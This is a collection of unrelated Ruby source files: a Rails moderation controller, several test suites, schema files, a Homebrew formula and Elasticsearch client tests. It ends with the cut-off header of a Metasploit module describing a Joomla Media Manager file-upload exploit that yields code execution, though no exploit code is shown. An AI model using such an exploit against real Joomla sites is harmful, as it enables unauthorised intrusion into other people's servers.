if !params[:reason].present?
flash[:error] = "You must give a reason for the ban."
return redirect_to user_path(:user => buser.username)
end
buser.ban_by_user_for_reason!(@user, params[:reason])
flash[:success] = "User has been banned."
return redirect_to user_path(:user => buser.username)
end
def unban
buser = User.where(:username => params[:username]).first
if !buser
flash[:error] = "Invalid user."
return redirect_to "/"
end
buser.unban_by_user!(@user)
flash[:success] = "User has been unbanned."
return redirect_to user_path(:user => buser.username)
end
def standing
flag_warning
int = @flag_warning_int
fc = FlaggedCommenters.new(int[:param], 1.day)
@fc_flagged = fc.commenters.map {|_, c| c[:n_flags] }.sort
@flagged_user_stats = fc.check_list_for(@showing_user)
rows = ActiveRecord::Base.connection.exec_query("
select
n_flags, count(*) as n_users
from (
select
comments.user_id, sum(flags) as n_flags
from
comments
where
comments.created_at >= now() - interval #{int[:dur]} #{int[:intv]}
group by comments.user_id) count_by_user
group by 1
order by 1 asc;
").rows
users = Array.new(@fc_flagged.last.to_i + 1, 0)
rows.each {|r| users[r.first] = r.last }
@lookup = rows.to_h
@flagged_comments = @showing_user.comments
.where("
comments.flags > 0 and
comments.created_at >= now() - interval #{int[:dur]} #{int[:intv]}")
.order("id DESC")
.includes(:user, :hat, :story => :user)
.joins(:story)
end
private
def load_showing_user
# case-insensitive search by username
@showing_user = User.find_by(username: params[:username])
if @showing_user.nil?
@title = "User not found"
render action: :not_found, status: 404
return false
end
# now a case-sensitive check
if params[:username] != @showing_user.username
redirect_to username: @showing_user.username
return false
end
end
def only_user_or_moderator
if params[:username] == @user.username || @user.is_moderator?
true
else
redirect_to(user_path(params[:username]))
end
end
end
| 29.811828 | 99 | 0.639675 |
1a6243a5afaf0c1962e64513fc4a161ec0fbe7d8 | 992 | # frozen_string_literal: true
# @api private
# @since 0.3.0
module SmartCore::Initializer::InstanceAttributeAccessing
# @return [Hash<Symbol,Any>]
#
# @api public
# @since 0.3.0
def __params__
__collect_params__
end
# @return [Hash<Symbol,Any>]
#
# @api public
# @since 0.3.0
def __options__
__collect_options__
end
# @return [Hash<Symbol,Any>]
#
# @api public
# @since 0.3.0
def __attributes__
__collect_params__.merge(__collect_options__)
end
private
# @return [Hash<Symbol,Any>]
#
# @api private
# @since 0.3.0
def __collect_params__
self.class.__params__.each_with_object({}) do |param, memo|
memo[param.name] = instance_variable_get("@#{param.name}")
end
end
# @return [Hash<Symbol,Any>]
#
# @api private
# @since 0.3.0
def __collect_options__
self.class.__options__.each_with_object({}) do |option, memo|
memo[option.name] = instance_variable_get("@#{option.name}")
end
end
end
| 19.076923 | 66 | 0.66129 |
edc5ea0d356d76a0fba62cc62ea045c6e8e414b1 | 482 | # frozen_string_literal: true
print 'enter a starting year: '
year1 = gets.to_i
print 'enter an ending year: '
year2 = gets.to_i
# leap years are divisible by 4
# except when they are divisible by 100
# EXCEPT when they are divisible by 400
# puts all_years
# then, we'll make a function to find if it's a leap year
def leap?(year)
(year % 400).zero? ||
year % 100 != 0 && (year % 4).zero?
end
(year1..year2).each do |this_year|
puts this_year if leap?(this_year)
end
| 20.083333 | 57 | 0.692946 |
7a89ece6b5b8c7bbbe22c3e69968a314a1d2c806 | 1,128 | describe 'User resets her/his password' do
it 'with valid email and password', js: true do
forgot_password do |email, url|
expect(email.to).to include '[email protected]'
expect(email.subject).to include 'Reset password instructions'
visit url
fill_in 'Your new password', with: 'newpassword'
fill_in 'Confirm password', with: 'newpassword'
click_button 'Update my password'
expect(page).to have_content('Your password was changed successfully. You are now signed in.')
end
end
it 'with not matching password and password confirmation' do
forgot_password do |_, url|
visit url
fill_in 'Your new password', with: 'a'
fill_in 'Confirm password', with: 'b'
click_button 'Update my password'
expect(page).to have_content("DOESN'T MATCH PASSWORD")
end
end
it 'with empty new password' do
forgot_password do |_, url|
visit url
fill_in 'Your new password', with: ''
fill_in 'Confirm password', with: ''
click_button 'Update my password'
expect(page).to have_content("CAN'T BE BLANK")
end
end
end
| 30.486486 | 100 | 0.670213 |
f857b936a0df254b96343c3514a3098177803f71 | 1,968 | require('spec_helper')
describe(Stylist) do
describe(".all") do
it("starts off with no stylists") do
expect(Stylist.all()).to(eq([]))
end
end
describe(".find") do
it("returns a stylist by their ID number") do
test_stylist = Stylist.new({:name => "Joan Rivers", :id => nil})
test_stylist.save()
test_stylist2 = Stylist.new({:name => "Betty White", :id => nil})
test_stylist2.save()
expect(Stylist.find(test_stylist2.id())).to(eq(test_stylist2))
end
end
describe("#stylist") do
it("tells you the stylist's name") do
stylist = Stylist.new({:name => "Jade Stylist", :id => nil})
expect(stylist.name()).to(eq("Jade Stylist"))
end
end
describe("#id") do
it("sets its ID when you save it") do
stylist = Stylist.new({:name => "Jade Stylist", :id => nil})
stylist.save()
expect(stylist.id()).to(be_an_instance_of(Fixnum))
end
end
describe("#save") do
it("lets your save the stylists into the database") do
stylist = Stylist.new({:name => "Jades Stylist", :id => nil})
stylist.save()
expect(Stylist.all()).to(eq([stylist]))
end
end
describe("#==") do
it("is the same stylist if it has the same name") do
stylist1 = Stylist.new({:name => "Jades Stylist", :id => nil})
stylist2 = Stylist.new({:name => "Jades Stylist", :id => nil})
expect(stylist1).to(eq(stylist2))
end
end
describe("#clientsname") do
it("returns an array of clients for that stylist") do
test_stylist = Stylist.new({:name => "Jade Stylist", :id => nil})
test_stylist.save()
test_client = Client.new({:clientsname => "Joan Rivers", :stylist_id => test_stylist.id()})
test_client.save()
test_client2 = Client.new({:clientsname => "Betty White", :stylist_id => test_stylist.id()})
test_client2.save()
expect(test_stylist.clients()).to(eq([test_client, test_client2]))
end
end
end
| 31.238095 | 98 | 0.614837 |
5d8cd8b5805e3a0b318fd0057a17606b2991057f | 186 | class AddDetailToTvSeasonCasts < ActiveRecord::Migration[5.2]
def change
add_column :tv_season_casts, :character, :text
add_column :tv_season_casts, :order, :decimal
end
end
| 26.571429 | 61 | 0.763441 |
d56974d4f4a15c567a6bd6621074f40882f70a70 | 1,188 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 2016_01_26_235547) do
create_table "artists", force: :cascade do |t|
t.string "name"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
end
create_table "songs", force: :cascade do |t|
t.string "title"
t.datetime "created_at", null: false
t.datetime "updated_at", null: false
t.integer "artist_id"
t.index ["artist_id"], name: "index_songs_on_artist_id"
end
end
| 39.6 | 86 | 0.751684 |
4a8605311fa41ce2de6a62025a86f0299a8923cc | 291 | class CreateInsideJobs < ActiveRecord::Migration
def change
create_table :inside_jobs do |t|
t.string :title
t.string :salary_form
t.string :salary_end
t.string :url
t.string :post_date
t.string :effective_date
t.timestamps
end
end
end
| 19.4 | 48 | 0.656357 |
619c4d089d5bf9a3f2dd70241f58203a7e677173 | 12,348 | require "cases/helper"
require 'models/club'
require 'models/member_type'
require 'models/member'
require 'models/membership'
require 'models/sponsor'
require 'models/organization'
require 'models/member_detail'
require 'models/minivan'
require 'models/dashboard'
require 'models/speedometer'
require 'models/category'
require 'models/author'
require 'models/essay'
require 'models/owner'
require 'models/post'
require 'models/comment'
require 'models/categorization'
class HasOneThroughAssociationsTest < ActiveRecord::TestCase
fixtures :member_types, :members, :clubs, :memberships, :sponsors, :organizations, :minivans,
:dashboards, :speedometers, :authors, :posts, :comments, :categories, :essays, :owners
def setup
@member = members(:groucho)
end
def test_has_one_through_with_has_one
assert_equal clubs(:boring_club), @member.club
end
def test_creating_association_creates_through_record
new_member = Member.create(:name => "Chris")
new_member.club = Club.create(:name => "LRUG")
assert_not_nil new_member.current_membership
assert_not_nil new_member.club
end
def test_creating_association_builds_through_record_for_new
new_member = Member.new(:name => "Jane")
new_member.club = clubs(:moustache_club)
assert new_member.current_membership
assert_equal clubs(:moustache_club), new_member.current_membership.club
assert_equal clubs(:moustache_club), new_member.club
assert new_member.save
assert_equal clubs(:moustache_club), new_member.club
end
def test_creating_association_sets_both_parent_ids_for_new
member = Member.new(name: 'Sean Griffin')
club = Club.new(name: 'Da Club')
member.club = club
member.save!
assert member.id
assert club.id
assert_equal member.id, member.current_membership.member_id
assert_equal club.id, member.current_membership.club_id
end
def test_replace_target_record
new_club = Club.create(:name => "Marx Bros")
@member.club = new_club
@member.reload
assert_equal new_club, @member.club
end
def test_replacing_target_record_deletes_old_association
assert_no_difference "Membership.count" do
new_club = Club.create(:name => "Bananarama")
@member.club = new_club
@member.reload
end
end
def test_set_record_to_nil_should_delete_association
@member.club = nil
@member.reload
assert_equal nil, @member.current_membership
assert_nil @member.club
end
def test_has_one_through_polymorphic
assert_equal clubs(:moustache_club), @member.sponsor_club
end
def test_has_one_through_eager_loading
members = assert_queries(3) do #base table, through table, clubs table
Member.all.merge!(:includes => :club, :where => ["name = ?", "Groucho Marx"]).to_a
end
assert_equal 1, members.size
assert_not_nil assert_no_queries {members[0].club}
end
def test_has_one_through_eager_loading_through_polymorphic
members = assert_queries(3) do #base table, through table, clubs table
Member.all.merge!(:includes => :sponsor_club, :where => ["name = ?", "Groucho Marx"]).to_a
end
assert_equal 1, members.size
assert_not_nil assert_no_queries {members[0].sponsor_club}
end
def test_has_one_through_with_conditions_eager_loading
# conditions on the through table
assert_equal clubs(:moustache_club), Member.all.merge!(:includes => :favourite_club).find(@member.id).favourite_club
memberships(:membership_of_favourite_club).update_columns(favourite: false)
assert_equal nil, Member.all.merge!(:includes => :favourite_club).find(@member.id).reload.favourite_club
# conditions on the source table
assert_equal clubs(:moustache_club), Member.all.merge!(:includes => :hairy_club).find(@member.id).hairy_club
clubs(:moustache_club).update_columns(name: "Association of Clean-Shaven Persons")
assert_equal nil, Member.all.merge!(:includes => :hairy_club).find(@member.id).reload.hairy_club
end
def test_has_one_through_polymorphic_with_source_type
assert_equal members(:groucho), clubs(:moustache_club).sponsored_member
end
def test_eager_has_one_through_polymorphic_with_source_type
clubs = Club.all.merge!(:includes => :sponsored_member, :where => ["name = ?","Moustache and Eyebrow Fancier Club"]).to_a
# Only the eyebrow fanciers club has a sponsored_member
assert_not_nil assert_no_queries {clubs[0].sponsored_member}
end
def test_has_one_through_nonpreload_eagerloading
members = assert_queries(1) do
Member.all.merge!(:includes => :club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name').to_a #force fallback
end
assert_equal 1, members.size
assert_not_nil assert_no_queries {members[0].club}
end
def test_has_one_through_nonpreload_eager_loading_through_polymorphic
members = assert_queries(1) do
Member.all.merge!(:includes => :sponsor_club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name').to_a #force fallback
end
assert_equal 1, members.size
assert_not_nil assert_no_queries {members[0].sponsor_club}
end
def test_has_one_through_nonpreload_eager_loading_through_polymorphic_with_more_than_one_through_record
Sponsor.new(:sponsor_club => clubs(:crazy_club), :sponsorable => members(:groucho)).save!
members = assert_queries(1) do
Member.all.merge!(:includes => :sponsor_club, :where => ["members.name = ?", "Groucho Marx"], :order => 'clubs.name DESC').to_a #force fallback
end
assert_equal 1, members.size
assert_not_nil assert_no_queries { members[0].sponsor_club }
assert_equal clubs(:crazy_club), members[0].sponsor_club
end
def test_uninitialized_has_one_through_should_return_nil_for_unsaved_record
assert_nil Member.new.club
end
def test_assigning_association_correctly_assigns_target
new_member = Member.create(:name => "Chris")
new_member.club = new_club = Club.create(:name => "LRUG")
assert_equal new_club, new_member.association(:club).target
end
def test_has_one_through_proxy_should_not_respond_to_private_methods
assert_raise(NoMethodError) { clubs(:moustache_club).private_method }
assert_raise(NoMethodError) { @member.club.private_method }
end
def test_has_one_through_proxy_should_respond_to_private_methods_via_send
clubs(:moustache_club).send(:private_method)
@member.club.send(:private_method)
end
def test_assigning_to_has_one_through_preserves_decorated_join_record
@organization = organizations(:nsa)
assert_difference 'MemberDetail.count', 1 do
@member_detail = MemberDetail.new(:extra_data => 'Extra')
@member.member_detail = @member_detail
@member.organization = @organization
end
assert_equal @organization, @member.organization
assert @organization.members.include?(@member)
assert_equal 'Extra', @member.member_detail.extra_data
end
def test_reassigning_has_one_through
@organization = organizations(:nsa)
@new_organization = organizations(:discordians)
assert_difference 'MemberDetail.count', 1 do
@member_detail = MemberDetail.new(:extra_data => 'Extra')
@member.member_detail = @member_detail
@member.organization = @organization
end
assert_equal @organization, @member.organization
assert_equal 'Extra', @member.member_detail.extra_data
assert @organization.members.include?(@member)
assert !@new_organization.members.include?(@member)
assert_no_difference 'MemberDetail.count' do
@member.organization = @new_organization
end
assert_equal @new_organization, @member.organization
assert_equal 'Extra', @member.member_detail.extra_data
assert [email protected]?(@member)
assert @new_organization.members.include?(@member)
end
def test_preloading_has_one_through_on_belongs_to
MemberDetail.delete_all
assert_not_nil @member.member_type
@organization = organizations(:nsa)
@member_detail = MemberDetail.new
@member.member_detail = @member_detail
@member.organization = @organization
@member_details = assert_queries(3) do
MemberDetail.all.merge!(:includes => :member_type).to_a
end
@new_detail = @member_details[0]
assert @new_detail.send(:association, :member_type).loaded?
assert_no_queries { @new_detail.member_type }
end
def test_save_of_record_with_loaded_has_one_through
@club = @member.club
assert_not_nil @club.sponsored_member
assert_nothing_raised do
Club.find(@club.id).save!
Club.all.merge!(:includes => :sponsored_member).find(@club.id).save!
end
@club.sponsor.destroy
assert_nothing_raised do
Club.find(@club.id).save!
Club.all.merge!(:includes => :sponsored_member).find(@club.id).save!
end
end
def test_through_belongs_to_after_destroy
@member_detail = MemberDetail.new(:extra_data => 'Extra')
@member.member_detail = @member_detail
@member.save!
assert_not_nil @member_detail.member_type
@member_detail.destroy
assert_queries(1) do
assert_not_nil @member_detail.member_type(true)
end
@member_detail.member.destroy
assert_queries(1) do
assert_nil @member_detail.member_type(true)
end
end
def test_value_is_properly_quoted
minivan = Minivan.find('m1')
assert_nothing_raised do
minivan.dashboard
end
end
def test_has_one_through_polymorphic_with_primary_key_option
assert_equal categories(:general), authors(:david).essay_category
authors = Author.joins(:essay_category).where('categories.id' => categories(:general).id)
assert_equal authors(:david), authors.first
assert_equal owners(:blackbeard), authors(:david).essay_owner
authors = Author.joins(:essay_owner).where("owners.name = 'blackbeard'")
assert_equal authors(:david), authors.first
end
def test_has_one_through_with_primary_key_option
assert_equal categories(:general), authors(:david).essay_category_2
authors = Author.joins(:essay_category_2).where('categories.id' => categories(:general).id)
assert_equal authors(:david), authors.first
end
def test_has_one_through_with_default_scope_on_join_model
assert_equal posts(:welcome).comments.order('id').first, authors(:david).comment_on_first_post
end
def test_has_one_through_many_raises_exception
assert_raise(ActiveRecord::HasOneThroughCantAssociateThroughCollection) do
members(:groucho).club_through_many
end
end
def test_has_one_through_polymorphic_association
assert_raise(ActiveRecord::HasOneAssociationPolymorphicThroughError) do
@member.premium_club
end
end
def test_has_one_through_belongs_to_should_update_when_the_through_foreign_key_changes
minivan = minivans(:cool_first)
minivan.dashboard
proxy = minivan.send(:association_instance_get, :dashboard)
assert !proxy.stale_target?
assert_equal dashboards(:cool_first), minivan.dashboard
minivan.speedometer_id = speedometers(:second).id
assert proxy.stale_target?
assert_equal dashboards(:second), minivan.dashboard
end
def test_has_one_through_belongs_to_setting_belongs_to_foreign_key_after_nil_target_loaded
minivan = Minivan.new
minivan.dashboard
proxy = minivan.send(:association_instance_get, :dashboard)
minivan.speedometer_id = speedometers(:second).id
assert proxy.stale_target?
assert_equal dashboards(:second), minivan.dashboard
end
def test_assigning_has_one_through_belongs_to_with_new_record_owner
minivan = Minivan.new
dashboard = dashboards(:cool_first)
minivan.dashboard = dashboard
assert_equal dashboard, minivan.dashboard
assert_equal dashboard, minivan.speedometer.dashboard
end
def test_has_one_through_with_custom_select_on_join_model_default_scope
assert_equal clubs(:boring_club), members(:groucho).selected_club
end
def test_has_one_through_relationship_cannot_have_a_counter_cache
assert_raise(ArgumentError) do
Class.new(ActiveRecord::Base) do
has_one :thing, through: :other_thing, counter_cache: true
end
end
end
def test_association_force_reload_with_only_true_is_deprecated
member = Member.find(1)
assert_deprecated { member.club(true) }
end
end
| 34.881356 | 149 | 0.755912 |
33cdbff90fbca740d3205faba0841f5e92881993 | 1,631 | # This file is auto-generated from the current state of the database. Instead
# of editing this file, please use the migrations feature of Active Record to
# incrementally modify your database, and then regenerate this schema definition.
#
# Note that this schema.rb definition is the authoritative source for your
# database schema. If you need to create the application database on another
# system, you should be using db:schema:load, not running all the migrations
# from scratch. The latter is a flawed and unsustainable approach (the more migrations
# you'll amass, the slower it'll run and the greater likelihood for issues).
#
# It's strongly recommended that you check this file into your version control system.
ActiveRecord::Schema.define(version: 4) do
create_table "activities", force: :cascade do |t|
t.string "status"
t.integer "user_id"
t.integer "possibility_id"
t.integer "rating"
t.datetime "created_at"
t.datetime "updated_at"
t.boolean "exclude", default: false
end
create_table "possibilities", force: :cascade do |t|
t.string "name"
t.string "description"
t.string "past_tense"
t.integer "physical_intensity"
t.integer "mental_intensity"
t.integer "fun_index"
t.integer "duration_in_minutes"
t.string "necessary_location"
t.boolean "others_required"
t.datetime "created_at"
t.datetime "updated_at"
end
create_table "users", force: :cascade do |t|
t.string "first_name"
t.string "last_name"
t.string "nick_name"
t.datetime "created_at"
t.datetime "updated_at"
end
end
| 33.979167 | 86 | 0.717351 |
2118daf362d92d88dac92017dd276faf87e4b0ca | 487 | class VolunteerLabel < ApplicationRecord
# Associations
belongs_to :label
belongs_to :volunteer
belongs_to :user, foreign_key: :created_by_id, optional: true
# Validations
validates :volunteer_id, uniqueness: { scope: :label_id }
# Delegations
delegate :name, to: :label
# Scopes
scope :managable_by, ->(user) { joins(:label).where(labels: { group_id: user.coordinating_groups.pluck(:id) }) }
scope :alphabetically, -> { joins(:label).order('labels.name') }
end
| 28.647059 | 114 | 0.718686 |
e91744c3254804bfbbf36c947997e494ba3ec6cd | 1,778 | # frozen_string_literal: true
class MultiDateForm < TraineeForm
attr_accessor :day, :month, :year, :date_string
validate :date_valid
PARAM_CONVERSION = {
"date(3i)" => "day",
"date(2i)" => "month",
"date(1i)" => "year",
}.freeze
def date
return unless date_string
{
today: Time.zone.today,
yesterday: Time.zone.yesterday,
other: other_date,
}[date_string.to_sym]
end
def save!
if valid?
update_trainee
trainee.save!
clear_stash
else
false
end
end
private
def compute_fields
{
date_string: rehydrate_date_string,
day: trainee_attribute&.day,
month: trainee_attribute&.month,
year: trainee_attribute&.year,
}.merge(additional_fields).merge(new_attributes.slice(:day, :month, :year, :date_string))
end
def date_field
raise "Subclass of MultiDateForm must implement #date_field"
end
def trainee_attribute
trainee.public_send(date_field)
end
def additional_fields
{}
end
def rehydrate_date_string
return unless trainee_attribute
case trainee_attribute
when Time.zone.today
"today"
when Time.zone.yesterday
"yesterday"
else
"other"
end
end
def update_trainee
trainee[date_field] = date
end
def other_date
date_hash = { year: year, month: month, day: day }
date_args = date_hash.values.map(&:to_i)
Date.valid_date?(*date_args) ? Date.new(*date_args) : OpenStruct.new(date_hash)
end
def date_valid
if date_string.nil?
errors.add(:date_string, :blank)
elsif date_string == "other" && [day, month, year].all?(&:blank?)
errors.add(:date, :blank)
elsif !date.is_a?(Date)
errors.add(:date, :invalid)
end
end
end
| 19.538462 | 93 | 0.652418 |
7a8ba1e4fdad8aaa41553e02bfda4eca0bff95d4 | 7,706 | # Licensed to Elasticsearch B.V. under one or more contributor
# license agreements. See the NOTICE file distributed with
# this work for additional information regarding copyright
# ownership. Elasticsearch B.V. licenses this file to you under
# the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing,
# software distributed under the License is distributed on an
# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
# KIND, either express or implied. See the License for the
# specific language governing permissions and limitations
# under the License.
require 'spec_helper'
describe Elasticsearch::Transport::Client do
context 'meta-header' do
let(:subject) { client.transport.connections.first.connection.headers }
let(:regexp) { /^[a-z]{1,}=[a-z0-9.\-]{1,}(?:,[a-z]{1,}=[a-z0-9._\-]+)*$/ }
let(:adapter) { :net_http }
let(:adapter_code) { "nh=#{defined?(Net::HTTP::VERSION) ? Net::HTTP::VERSION : Net::HTTP::HTTPVersion}" }
let(:meta_header) do
if jruby?
"es=#{Elasticsearch::VERSION},rb=#{RUBY_VERSION},t=#{Elasticsearch::Transport::VERSION},jv=#{ENV_JAVA['java.version']},jr=#{JRUBY_VERSION},fd=#{Faraday::VERSION},#{adapter_code}"
else
"es=#{Elasticsearch::VERSION},rb=#{RUBY_VERSION},t=#{Elasticsearch::Transport::VERSION},fd=#{Faraday::VERSION},#{adapter_code}"
end
end
context 'single use of meta header' do
let(:client) do
described_class.new(adapter: adapter).tap do |klient|
allow(klient).to receive(:__build_connections)
end
end
it 'x-elastic-client-header value matches regexp' do
expect(subject['x-elastic-client-meta']).to match(regexp)
expect(subject).to include('x-elastic-client-meta' => meta_header)
end
end
context 'when using user-agent headers' do
let(:client) do
transport_options = { headers: { user_agent: 'My Ruby App' } }
described_class.new(transport_options: transport_options, adapter: adapter).tap do |klient|
allow(klient).to receive(:__build_connections)
end
end
it 'is friendly to previously set headers' do
expect(subject).to include(user_agent: 'My Ruby App')
expect(subject['x-elastic-client-meta']).to match(regexp)
expect(subject).to include('x-elastic-client-meta' => meta_header)
end
end
context 'when using API Key' do
let(:client) do
described_class.new(api_key: 'an_api_key', adapter: adapter)
end
let(:authorization_header) do
client.transport.connections.first.connection.headers['Authorization']
end
it 'adds the ApiKey header to the connection' do
expect(authorization_header).to eq('ApiKey an_api_key')
expect(subject['x-elastic-client-meta']).to match(regexp)
expect(subject).to include('x-elastic-client-meta' => meta_header)
end
end
context 'adapters' do
let(:meta_header) do
if jruby?
"es=#{Elasticsearch::VERSION},rb=#{RUBY_VERSION},t=#{Elasticsearch::Transport::VERSION},jv=#{ENV_JAVA['java.version']},jr=#{JRUBY_VERSION},fd=#{Faraday::VERSION}"
else
"es=#{Elasticsearch::VERSION},rb=#{RUBY_VERSION},t=#{Elasticsearch::Transport::VERSION},fd=#{Faraday::VERSION}"
end
end
let(:client) { described_class.new(adapter: adapter) }
let(:headers) { client.transport.connections.first.connection.headers }
context 'using net/http/persistent' do
let(:adapter) { :net_http_persistent }
it 'sets adapter in the meta header' do
require 'net/http/persistent'
expect(headers['x-elastic-client-meta']).to match(regexp)
meta = "#{meta_header},np=#{Net::HTTP::Persistent::VERSION}"
expect(headers).to include('x-elastic-client-meta' => meta)
end
end
context 'using httpclient' do
let(:adapter) { :httpclient }
it 'sets adapter in the meta header' do
require 'httpclient'
expect(headers['x-elastic-client-meta']).to match(regexp)
meta = "#{meta_header},hc=#{HTTPClient::VERSION}"
expect(headers).to include('x-elastic-client-meta' => meta)
end
end
context 'using typhoeus' do
let(:adapter) { :typhoeus }
it 'sets adapter in the meta header' do
require 'typhoeus'
expect(headers['x-elastic-client-meta']).to match(regexp)
meta = "#{meta_header},ty=#{Typhoeus::VERSION}"
expect(headers).to include('x-elastic-client-meta' => meta)
end
end
unless defined?(JRUBY_VERSION)
let(:adapter) { :patron }
context 'using patron' do
it 'sets adapter in the meta header' do
require 'patron'
expect(headers['x-elastic-client-meta']).to match(regexp)
meta = "#{meta_header},pt=#{Patron::VERSION}"
expect(headers).to include('x-elastic-client-meta' => meta)
end
end
end
end
if defined?(JRUBY_VERSION)
context 'when using manticore' do
let(:client) do
Elasticsearch::Client.new(transport_class: Elasticsearch::Transport::Transport::HTTP::Manticore)
end
let(:subject) { client.transport.connections.first.connection.instance_variable_get("@options")[:headers]}
it 'sets manticore in the metaheader' do
expect(subject['x-elastic-client-meta']).to match(regexp)
expect(subject['x-elastic-client-meta']).to match(/mc=[0-9.]+/)
end
end
else
context 'when using curb' do
let(:client) do
Elasticsearch::Client.new(transport_class: Elasticsearch::Transport::Transport::HTTP::Curb)
end
it 'sets curb in the metaheader' do
expect(subject['x-elastic-client-meta']).to match(regexp)
expect(subject['x-elastic-client-meta']).to match(/cl=[0-9.]+/)
end
end
end
context 'when using custom transport implementation' do
class MyTransport
include Elasticsearch::Transport::Transport::Base
def initialize(args); end
end
let(:client) { Elasticsearch::Client.new(transport_class: MyTransport) }
let(:subject){ client.instance_variable_get("@arguments")[:transport_options][:headers] }
let(:meta_header) do
if jruby?
"es=#{Elasticsearch::VERSION},rb=#{RUBY_VERSION},t=#{Elasticsearch::Transport::VERSION},jv=#{ENV_JAVA['java.version']},jr=#{JRUBY_VERSION}"
else
"es=#{Elasticsearch::VERSION},rb=#{RUBY_VERSION},t=#{Elasticsearch::Transport::VERSION}"
end
end
it 'doesnae set any info about the implementation in the metaheader' do
expect(subject['x-elastic-client-meta']).to match(regexp)
expect(subject).to include('x-elastic-client-meta' => meta_header)
end
end
context 'when using a different service version' do
before do
module Elastic
META_HEADER_SERVICE_VERSION = [:ent, '8.0.0']
end
end
after do
module Elastic
META_HEADER_SERVICE_VERSION = [:es, Elasticsearch::VERSION]
end
end
let(:client) { Elasticsearch::Client.new }
it 'sets the service version in the metaheader' do
expect(subject['x-elastic-client-meta']).to match(regexp)
expect(subject['x-elastic-client-meta']).to start_with('ent=8.0.0')
end
end
end
end
| 37.77451 | 186 | 0.642097 |
11029e15d488968412381521538c4680654fc840 | 1,624 | require 'spec_helper'
RSpec.describe Eyeson, type: :class do
it 'should use correct config in post' do
RestClient::Request.expects(:new).with(
method: :post,
url: 'https://api.localhost.test/test',
payload: {},
headers: {
authorization: '123',
accept: 'application/json',
user_agent: 'eyeson-ruby'
}
)
Eyeson.expects(:response_for)
Eyeson.post('/test')
end
it 'should execute request in response_for method' do
body = { field: 'value' }.to_json
res = mock('Response')
res.expects(:body).returns(body).times 3
req = mock('Request', execute: res)
JSON.expects(:parse).with(body)
Eyeson.response_for(req)
end
it 'should handle exceptions in response_for method' do
error = mock('Error', body: nil)
req = mock('Request')
req.expects(:execute).raises(RestClient::ExceptionWithResponse, error)
Eyeson.response_for(req)
end
it 'should handle JSON response' do
expects_api_response_with(error: 'some_error')
expect(Eyeson.post('/test')).kind_of?(JSON)
end
it 'should handle empty response' do
expects_api_response_with(body: false)
expect(Eyeson.post('/test')).to eq({})
end
it 'should provide a get method' do
Eyeson.expects(:request).with(:get, '/test', {})
Eyeson.get('/test')
end
it 'should provide a get method' do
Eyeson.expects(:request).with(:post, '/test', { test: true })
Eyeson.post('/test', { test: true })
end
it 'should provide a get method' do
Eyeson.expects(:request).with(:delete, '/test', {})
Eyeson.delete('/test')
end
end
| 27.066667 | 74 | 0.646552 |
4a05c6db3d8bcfa3852d406fe8255f917a953ab1 | 850 | When /^I successfully use the "([^"]*)" (?:option|command|argument)?$/ do |cmd|
run_simple("rubulage #{unescape(cmd)}")
assert_exit_status(0)
end
When /^I use the "([^"]*)" (?:option|command|argument)?$/ do |cmd|
run_simple("bundle exec rubulage #{unescape(cmd)}", fail_on_error=false)
end
Then /^the exit status should report success$/ do
assert_exit_status(0)
end
Then /^the banner "([^"]*)" should be present$/ do |expected_banner|
step %(the output should contain "#{expected_banner}")
end
Then /^the following options should be documented:$/ do |options|
options.raw.each do |option|
step %(the option "#{option[0]}" should be documented)
end
end
Then /^the option "([^"]*)" should be documented$/ do |options|
options.split(',').map(&:strip).each do |option|
step %(the output should contain "#{option}")
end
end
| 29.310345 | 79 | 0.672941 |
ed3c754857a3b8e45c030b8d12faad4b95f6a3f1 | 1,002 | class Cjdns < Formula
desc "Advanced mesh routing system with cryptographic addressing"
homepage "https://github.com/cjdelisle/cjdns/"
url "https://github.com/cjdelisle/cjdns/archive/cjdns-v20.2.tar.gz"
sha256 "b114f4e89c971d2c288e3d8265396248a37134895b0e0468bf55030de84b4d2a"
head "https://github.com/cjdelisle/cjdns.git"
bottle do
cellar :any_skip_relocation
sha256 "62b8418625dc9550f4eded4ee1c7062b8c5d85da97aacd6899fff13578d3a836" => :mojave
sha256 "5e516be5ce8d028803865ce5ea136ccc671250424f560efbd6ab1454976ff42d" => :high_sierra
sha256 "0bd392fc17fb41ad9004458c0098df2dc165accf5c9d676efe21373c22f857db" => :sierra
sha256 "095639122e0a992531834d8c1b77113386064fa6214eabf06a0716d3ee678291" => :el_capitan
end
depends_on "node" => :build
def install
system "./do"
bin.install "cjdroute"
(pkgshare/"test").install "build_darwin/test_testcjdroute_c" => "cjdroute_test"
end
test do
system "#{pkgshare}/test/cjdroute_test", "all"
end
end
| 35.785714 | 93 | 0.780439 |
08b7103c78ef69752a8b075f384bde518b0498ee | 227 | class CreateWalls < ActiveRecord::Migration
def change
create_table :walls do |t|
t.string :name
t.belongs_to :state
t.belongs_to :area
t.belongs_to :subarea
t.timestamps
end
end
end
| 18.916667 | 43 | 0.643172 |
e24b7604ed2592481dff4710ea1724bd3c82a28a | 7,846 | ##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info={})
super(update_info(info,
'Name' => "Joomla Media Manager File Upload Vulnerability",
'Description' => %q{
This module exploits a vulnerability found in Joomla 2.5.x up to 2.5.13, as well as
3.x up to 3.1.4 versions. The vulnerability exists in the Media Manager component,
which comes by default in Joomla, allowing arbitrary file uploads, and results in
arbitrary code execution. The module has been tested successfully on Joomla 2.5.13
and 3.1.4 on Ubuntu 10.04. Note: If public access isn't allowed to the Media
Manager, you will need to supply a valid username and password (Editor role or
higher) in order to work properly.
},
'License' => MSF_LICENSE,
'Author' =>
[
